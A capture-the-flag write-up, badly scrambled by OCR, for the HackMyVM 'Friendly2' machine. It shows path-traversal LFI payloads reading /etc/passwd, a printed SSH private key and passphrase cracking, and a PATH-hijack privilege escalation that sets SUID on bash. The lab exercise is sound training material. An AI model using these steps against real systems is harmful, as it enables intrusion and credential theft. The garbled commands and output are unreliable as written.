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https://hackmyvm.eu/machines/machine.php?vm=Friendly2

Reconnaissance

I start scanning the victim machines using nmap:



https://hackmyvm.eu/machines/machine.php?vm=Friendly2
af://h1-0
af://h2-1

nmap -sSCV -p- --open -Pn -n 192.168.1.87 -oN nmap.tx

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 10:24 CEST
Nmap scan report for 192.168.1.87

Host is up (0.069s latency).

Not shown: 65533 closed tcp ports (reset

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.4pl Debian 5+debllul (protocol 2.0
| ssh-hostkey:

| 3072 74:fd:fl:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA

| 256 16:f0:de:51:09:1f:fc:08:a2:92a:69:a0:ad:42:a0:48 (ECDSA

| 256 65:0e:ed:44:e2:3e:10:€7:60:0¢:75:93:63:95:20:56 (ED25519
80/tcp open http Apache httpd 2.4.56 ((Debian

|_http-title: Servicio de Mantenimiento de Ordenadores

| http-server-header: Apache/2.4.56 (Debian

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate

Service Info: OS: Linux; CPE: cpe:/o:linux:linux _kernel

For now we get the port 22 and the port 80 so lets see the web page.

€« C O A Not Secure 192.168.1.87 X B Yy ® 0

-4 Import bookmarks... [3J Cibersecurity [JHacking (D eJPT [0 OSCP | [OIA [ Scripting [Oricing | [JBlue Team | [ Correo and accounts

Servicio de Mantenimiento de Ordenadc

Mantenimiento preventivo

Nuestro servicio de mantenimiento preventivo ayuda a prevenir problemas futuros con tu ordenador y garantiza que tu equipo funcion
optima.

For now there is nothing we can do so lets fuzz it using gobuster:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u
http://192.168.1.87/ -x php,html,txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart

Url: http://192.168.1.87/

Method: GET

Threads: 10

Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium. txt
Negative Status codes: 404

User Agent: gobuster/3.6

Extensions: php,html, txt
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Timeout: 10s




Starting gobuster in directory enumeration mode

/.php Status: 403) [Size: 277

/. html Status: 403) [Size: 277

/index.html Status: 200) [Size: 2698

/tools Status: 301) [Size: 312] [--> http://192.168.1.87/tools/
/assets Status: 301) [Size: 313] [--> http://192.168.1.87/assets/

We got 2 interesting directories.

O A Not Secure 192.168.1.87

mport bookmarks... [J Cibersecurity [0 Hacking (D eJPT [JOSCP | 1A [OScripting (3 ricing ‘ (D Blue Team ‘ g

'} INFORMACION PRIVADA /&

a la informacion de esta pagina esta catalogada con un nivel de confidencialidad 4, esta informacion no debera se
erno a la empresa.

do:

« Afadir imagenes a la web principal.
« Afadir tema oscuro
« Traducir la pagina al inglés / translate the page into English. @&

Fuzzing the tools directory we get another directory inside:

gobuster dir -w /ust/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u
http://192.168.1.87/tools/ -x php,html,txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart

Url: http://192.168.1.87/tools/

Method: GET

Threads: 10

Wordlist: /ust/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Negative Status codes: 404

User Agent: gobuster/3.6

Extensions: php,html, txt

F + + F+F FF

Timeout: 10s

Starting gobuster in directory enumeration mode

/.html Status: 403) [Size: 277

/.php Status: 403) [Size: 277

/index.html Status: 200) [Size: 813

/documents Status: 301) [Size: 322] [--> http://192.168.1.87/tools/documents/




« > C ) A Not Secure 192.168.1.87

-] Import bookmarks... [3J Cibersecurity (3O Hacking (D eJPT [OOSCP | (OIA

Index of /tools/documents

2023-04-27 15:101.1K
2023-04-27 15:12 879
2023-04-27 15:14 841

C ¢4 Not Secure view-source:http://192.168.1.87 [toolsfindex.html
) Import bookmarks... [ Cibersecurity (3 Hacking (D eJPT [JOSCP | [OOIA [OScripting [Oricing | (O Blue Team |

<!DOCTYPE html>

charset="UTF-8">
»*Sistema de herramientas</

>

hl{text-align: center;}

>

text-align="center"s < src="/assets/sirena.gif"> INFORMACION PRIVADA < src="/assets/sirena.gif"> </h1>
>
<p> Toda la informacidn de esta pdgina estd catalogada con un nivel de confidencialidad 4, esta informacidn no debe

>

> To do: </h2>

>

<li> Afadir imdgenes a la web principal. </li=

<li> Anadir tema oscuro </li>

<li> Traducir la pagina al inglés v tramslate tho pago inte Onglish. &</

- Redimensionar 1a imagen en check if_exist.php?doc=keyboard. html -->

Fuzzing for this parameter using ffuf we find an LFI:
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://192.168.1.87/tools/check if exist.php?
doc=FUZZ" -fw 1
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:: Method : GET

:: URL : http://192.168.1.87/tools/check if exist.php?doc=FUZZ

:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false

:: Calibration  : false

:: Timeout 210

:: Threads 140

:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

:: Filter : Response words: 1

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1369, Words: 13,
Lines: 27, Duration: 16ms
%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 106ms
(.00 ]. [etc/hosts [Status: 200, Size: 189, Words: 19, Lines: 8, Duration: 7ms
/). Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 10ms
[l Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 10ms
[ Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
/.00 Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 11ms
[ Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
[ ete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
[ Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
[0 Jete/passwd [ Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
[ Jete/passwd [ Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
[ Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 13ms
/.1..0..1..]..]. [etc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 15ms
/... ] Jetc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 16ms
[0 fete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 21ms
/..1..1..]..]..letc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 20ms
[0 ete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 21ms
[ Jete/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 21ms
/.10 ] Jetc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 21ms
/..1..1..]..letc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 20ms
/..1..]..Jetc/passwd [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 19ms
/.1.1..]..]. [etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 1369, Words: 13, Lines: 27, Duration: 12ms
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/etc/passwd [ Status:
200, Size: 1369, Words: 13, Lines: 27, Duration: 533ms
:: Progress: [929/929] :: Job [1/1] :: 66 req/sec :: Duration: [0:00:03] :: Errors: O ::

We see that the user ghOst exists so what we can do now is try to get the id_rsa from ghOst.
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root:x:@:@:root: /root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: fusr/sbin/nologin

bin:x:2:2:bin:/bin: fusx/sbin/nologin

sys:x:3:3:sys:/dev:/usz/sbin/nologin

sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:6@:games: /usr/games: fusr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

1p:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usx/sbin/nologin

news:x:9:9:news: /var/spool/news: /usr/sbin/nologin

uucp:x:10:1@:uucp: /vaxr/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
wiww-data:x:33:33 :www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usx/sbin/nologin
nobody :x:65534:65534 :nobody : /nonexistent: /usx/sbin/nologin

_apt:x:100:65534: :/nonexistent: /usx/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:183:systemd Resolver,,,:/run/systemd: fusr/sbin/nologin
2 systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
3 systemd-coredump:x:998:998:systemd Core Dumper:/:/usxr/shin/nologin
messagebus:x:103:1@9: : /nonexistent: /usr/sbin/nologin
sshd:x:104:65534: :/run/sshd: fusr/sbin/nologin
gh®st:x:1001:1001: : /home/gh@st: /bin/bash

[

== T - R [« ¥, I Sy oY

[
[T ]

[urpy
(S,

fan
(=]

-

3 Not Secure view-source:http://192.168.1.87/tools/check_if_exist.php?doc=../..[../../...../home/ghOst/.ssh/id_rsa

2 b3B1lbnNzaClrZxktdjEAAAAACTFLczI1Ni1jdHIAAAAGYmMNYeXBRAAAAGAAAABC7peoQE4
3 ZNYwWvTv72ZHTSATAAAAEAAAAAEAAAGKAAAAB3NZaC1yc2EAAAADAQABAAABGNC2i1yzi365
4 QPS1Tgc/EdnvrisIm@Z@jq4HDQIDRMaxQ414UdI1bEgmO/FAL7kHZY 1Mz1i5v JFCLUSVVCF
1IAnySDh8VA4t/+LRHOEFX6ZFibYinUJacgteD@RXRAUGNOjiYayzGlhwdKs ffezKzBEjQ
9xcBXARIPBsEWkhur+UptHi@B8QmtCWLVEXA0BDWIATLkhSj 25KiicNm+nmbEbL aK1UTU/ C
7 aXDHZCcdIdkZ1InLj246sovnSkFPaBBHbmez9]i11YNaHVHGEKb37bL Jm@513fkUGsRGNzZ
6J1gXYnRLNB4KAF s sQOdFCFKQAHUPC4eq2195KVMEW21W3CenBUFDhGe8s1++VIUy/ngZn
8evBdeeEk3RXDRbENWB3G+96BBgVKd7HCBediqzXESmZ64 f Bwbimy2DmM8I fBMGQBgjocn
*xkISTmsERVerz4xfXURZDLbgBgwlcWo+T8z2RWBawVgdajm3fLERGT7AL/KUuUD7b1QD0sk
WZRBKseqciUaBAAAWQNT9mws IPu/OgEFaWLkQ+z@0A26 T8k /@hXZWPNITHIVF ZRWGOtD8U
utUgpP9SyHIL@2jCx/TadypihPdUeI5ffCvXI98cnvQDzKI5DSiBNkmIHU3VE+T@e/QySN
FU3pVI3JjB6CgSKX25diN+epUdtZwbynrJeEhSmhauLgQeY 1Wecz FLKNRFemEGNPFc+ba7
duQpt1I8DHPkh1UU2ok fh8UoOMbkfOSLrVvB@dAaikklRmtQs3x5CHENh]sHOi7xDdza2A
dWJPZ4WbvecaEIi/v1DcjeOL285TIDgaom1904XS1DZD7@W61jM3whsicLDTupWxBUgTPgv
Fbr3D30TQUTLMAlC/Fbb1vgTQFcbsbApMDKm274L igZad7d0OYyPVToEliyzksTk7f@x3ZT
s5+01q2FpE4iR3hQtRH2I1GeGo31ZtGVEDNWgwe/FTQWT57TNPMoUNKWS1mo6922j jBBZad
q/e0848T2F1GEL7 fWVsuzveSsInSV+mTEQYIpkgj JcvkNzQ@1sBUES@bzrhP1CCPZ/dezw
oBGFvb5ScnTh@RfjCa9PYoNR+d/ Tu09N+SAHhZ 7Tk+dv4He 2dA 1 35xK4VIkIgASRLMGLZ0T1
+tFwphZ2Zmre/Z/SoT45GN18jm0Xb6CncRLoiLgYVcGhEM)zdEY8yhBPyvX1+FCVHIH]GCU
VCnYqZAgxkXhNeYoc@0u+jUevNp239HbtaK02uEaJjE4CDbQbT8cxstd4Qy5/MBaqITgne
2 UWWiM+89q908@pk0YdoeHcWL xBORHFPxB1vb/QUVSeWnQHIOCFESQLS5 1LaheoMO9INBQ5dy
bSJnR8bjnnZiyQ@AVEFaCnHeS6CAYSsAFOtyMi9o2GKxaX0bUsZt3@edetT1Fg2INYE+Ma
bS8K60UCcIuy+pObFz1gjXIMdiGkix/uwT+tC2+HHyAett2bbgwuTIB3cASbKUNpH/sBfgT
f5rFGDUGRpFEVY1iFBRE0NEAZRBTCX Iymfdpj6wBo®/uj@YpayqFTc pnb2fntPcVoISMTs
5kGVU/19fN391tATUa9XWkSPyI2av0YMnyeJwn3vaQ@dbbnagckLYzLM8vyoygKFxWS3BC
7 6WOTBZDgOz365D0t8bTf IeSuZamttSFP1/pufLYtF+zalU0sKzwwpYqUsT6iiRFKVTTV7W2
8 cgM2VCavToGkI86xDIbKLU+xNnuSNbg+mt0ZUodAKuONS SAW@@BFOSR/BENTdZTKGipura
081sITeXW+yZh+m1SVtuILT05fdeKwygBrj6amlJQjOHENMKkcI1jMIWVUZE/ s4zusuHes
Kx2xMUx4WMkL SUydSvT1AVA7ZH9uBhhvrgBL/GhshmLZ 7uckdK@smX tdtWt+s fBocVQKbk
els+bnjkhiniqZ+ZLVKdjaANBbIZVNqUhX6xnCauoVXDkek12tP7QuhgDbOLd7ho0uhLDds
2 9LVgxvFtDURWjtwFhc25H8HsQt JKCRT70yzdoc98FBbbJ CWdyu+gabg17/sxReWThu=0Qj3
3 nY2J6a23efMlBvSTjiygvXTTAT98ZgyioEUsRvWe7MZssqZDRW]8ce1LWsGTDwWIz/ qOoW)
4 HXTgScCV9+B+VJToVGKZ/bOTJINbMLk6+TCULm4 TA/67NM2Y7cqXvBHXdn1WIZz Twibgew
RwDz5GzPiB9aiSwsgDSkgPUmbWz tiSWiX1Cv25p@ybIMYtIYcTBLWKkpKEDRKR@1Shx jFLC
TDRIWHXRNjmli/Z1sHOUnTs@Vk/dNpYfJoePkvKYpLEL3UF fucsQH1KyqLKQbbkaB2i+v/
7 pD1DmNcHFVagbIShQkYGOHONG6UX@1/LIw@inIW7CRcBz@1pkShXFBgLPeg+mvzBGOEYqQE
9tDhjvw3oagRmc3R83z FIwbPINo=
END OPENSSH PRIVATE KEY

But apparently the id rsa needs a passphrase

>ls
id rsa
> chmod 600 id_rsa
> ssh ghOst@192.168.1.87 -i id_rsa
The authenticity of host '192.168.1.87 (192.168.1.87)' can't be established.
ED25519 key fingerprint is SHA256:YDW5zhbCol/1L6a3swXHsFDV6D3tUVbC09Ch+bxLRO08.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes




Warning: Permanently added '192.168.1.87' (ED25519) to the list of known hosts.
Enter passphrase for key 'id rsa':

We can crack it using ssh2john

> ssh2john id_rsa > hash
>ls
hash [7id rsa

And we got the passphrase:

john -w=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john/opencl
ssh-opencl] cipher value of 6 is not yet supported with OpenCL!
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 3DES/AES 32/64
Cost 1 (KDF/cipher [0=MDS5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
celtic id _rsa
1g 0:00:00:02 DONE (2025-04-11 18:25) 0.3968g/s 114.3p/s 114.3¢c/s 114.3C/s alyssa..brenda
Use the "--show" option to display all of the cracked passwords reliably

Session completed.

ssh ghOst@192.168.1.87 -i id_rsa
Enter passphrase for key 'id rsa":
Linux friendly2 5.10.0-21-amd64

The programs included with the Debian GNU/Linux system are free software
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ghOst@friendly2:~$

Once in as ghOst we can run security.sh as anyone without providing password and setting and
environment variable at the time we run the script

ghOst@friendly2:~$ sudo -l
Matching Defaults entries for ghOst on friendly2:

env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin




User ghOst may run the following commands on friendly?2:
ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

This script is using commands such grep or tr without using the absolute path so we can try PATH
Hijacking here. So I make a file called grep in /tmp

ghOst@friendly2:/tmp$ cat grep

chmod +s /bin/bash

Now we run the script adding the /7mp directory to the PATH variable:

ghOst@friendly2:/tmp$ sudo =/tmp: /opt/security.sh
Enter the string to encode:

das

The string cannot contain special characters.
ghOst@friendly2:/tmp$ Is -1 /bin/bash

-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash

ghOst@friendly2:/tmp$ bash -p

bash-5.1

uid=1001(gh0st) gid=1001(gh0st) euid=0(root) egid=0(root) groups=0(root),1001(ghOst
bash-5.1

And now we're root

bash-5.1
Not yet! Try to find root.txt.

In order to get the flag I use find

bash-5.1
/...

bash-5.1
ebbg.txt
bash-5.1

It's codified, look the cipher:

98199n723q0s44s61rs39r33685q8pnoq




Hint: numbers are not codified

And to recover the original flag I use the previous scripts but modifying the conditional which set the
characters limit.

GNU nano 5.4 security.sh
#!/bin/bash

echo "Enter the string to encode:"
read string

# Validate that the string is no longer than 20 characters
#1f [[ ${#string} -gt 20 ]]; then
# echo "The string cannot be longer than 20 characters."

# exit 1
#fi

# Validate that the string does not contain special characters
if echo "$string"” | grep -q '[*[:alnum:] ]1'; then

echo "The string cannot contain special characters."

exit 1
fi
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